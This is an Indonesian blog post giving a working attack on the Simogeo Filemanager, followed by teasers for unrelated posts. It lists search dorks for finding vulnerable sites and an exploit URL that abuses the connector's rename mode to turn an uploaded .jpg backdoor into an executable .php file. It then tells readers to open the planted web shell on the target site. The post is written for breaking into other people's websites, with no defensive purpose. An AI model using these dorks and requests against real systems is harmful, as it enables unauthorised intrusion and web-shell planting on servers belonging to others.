Simogeo Filemanager - Arbitrary File Upload

Oleh ADMIN -

  Simogeo Filemanager - Arbitrary File Upload

      hai gaes lama saya tidak upload artikel terbaru karena sibuk real life hehehe , kali ini saya akan berbagi eksploit udah lama sih sebenernya tapi baru baru ini viral nya . yap langsung saja lah kita cobain ,


dork :
inurl:/js/filemanager/index.html
inurl:/filemanager site:

exploit:
/connectors/php/filemanager.php?mode=rename&old=/[path]/userfiles/namafile.jpg&new=namafilenew.php&config=filemanager.config.js


ngedork dulu ea gaes :'v
kalo dah ketemu  , upload file backdoor extensi .jpg ( contoh : namafile.jpg )



setelah terupload , kita rename file backdoor nya dari extensi .jpg ke .php supaya backdoor kita dapat di akses , caranya

site/[path]/filemanager/connectors/php/filemanager.php?mode=rename&old=/[path]/userfiles/namafile.jpg&new=namafilenew.php&config=filemanager.config.js

jangan lupa ya gaes [path] nya di ganti berdasarkan path di web target nya
jika rename berhasil maka muncul tulisan seperti ini
(pada gambar tersebut saya awalnya mengupload backdoor bernama 2.jpg , dan setelah itu saya rename menjadi 3.php)

akses file nya site/[path]/filemanager/userfiles/namafilenew.php

semoga bermanfaat

Komentar

Posting Komentar

Postingan populer dari blog ini

Cara Menyimpan Vidio Youtube Ke Galeri

Oleh -
Gambar
Cara Menyimpan Vidio dari Youtube kr Galeri OKEZONE.ASIA ,Tips dan Trik.Tentu Kalian ingin mengetahui cara Menyimpan Vidio ke Galeri. Yang biasanya Hanya Bisa kalian Bisa Simpan di Folder Youtube dan Hanya bisa di Putar Ulang di Youtube saja. Terus bagaimana Cara Menyimpan Vidio Youtube ke Galeri? Ikutilah langkah-langkah Berikut Ini : 1.Buka Aplikasi Youtube 2.Pilih Vidio Youtube yang ingin di Simpan 3.Klik Bagikan 4.Salin Kode Link Vidio 5.Buka Situs  Id.savefrom.net 6.Tempelkan Kode Yang Telah di salin 7.Lalu klik tanda panah di samping 8.Kemudian Vidio yang anda inginkan akan Muncul lalu Klik UNDUH. 9.Selesai Jika Gagal Mendownlod Biasanya Karena Terlalu banyak,Vidio Yang Kita Ambil,website Id.savefrom.net juga membatasi Vidio Yang kita ambil dengan alasan sebagai Berikut : 1.Vidio Terlalu banyak yang di Download 2.Server Eror Cara Atau Opsi lain Jika Ingin banyak Mendownload Vidio dari Savefrom Kalian Bisa
Baca selengkapnya

Tutorial Cara Download Video Yang Hanya Bisa Streaming

Oleh ADMIN -
Gambar
Tutorial Cara Download Video Yang Tidak Bisa Di Download   - Mendownload film, video, atau clip pendek biasanya sering Kita temu bahwa semua video itu tidak dapat didownload kadang hanya bisa streaming atau nonton saja. Kebanyakan video/film tidak bisa didownload karena beberapa alasan seperti video lawas, video yang dikenakan copyright, dan video yang memang hanya dikhususkan untuk streaming saja. Namun siapa sangka terkadang film/video tersebut membawa kesan atau sangat ingin untuk ditonton kembali dan di simpan pada perangkat. Apa bisa download video/film yang hanya bisa streaming ? Untuk download video yang tidak bisa di download atau dalam kurung (hanya streaming) dapat Kita lakukan dengan beberapa cara seperti yang akan Admin jelaskan pada tutorial kali ini.  Karena masih banyak yang cari bagaimana cara download video/film yang tidak ada tombol downloadnya akhirnya Admin menemukan solusi yang akan dibagikan kali ini. Baca juga Tutorial Trik Internetan Gratis All Operator 2020
Baca selengkapnya

Kojima Natsuki 1st Photobook SOCO SOCO Full Scans PB

Oleh -
Gambar
Full Scan Akb48 1st Kojima Natsuki Photobook SOCO SOCO HQ Quality Picts. Member Akb Natsuki Kojina Soco Soco 1st PB Scanned PB. The cover and title "soco soco" of akb48 kojima natsuki first photobook was revealed. The photobook was produced in mid-October in Paris, shortly after Cover photobook Kojima Natsuki "Soco Soco" Reguler edition 7net limited edition Rakuten limited edition HMV limited edition. Download rar file zip scanned full magazine gravure free pics.
Baca selengkapnya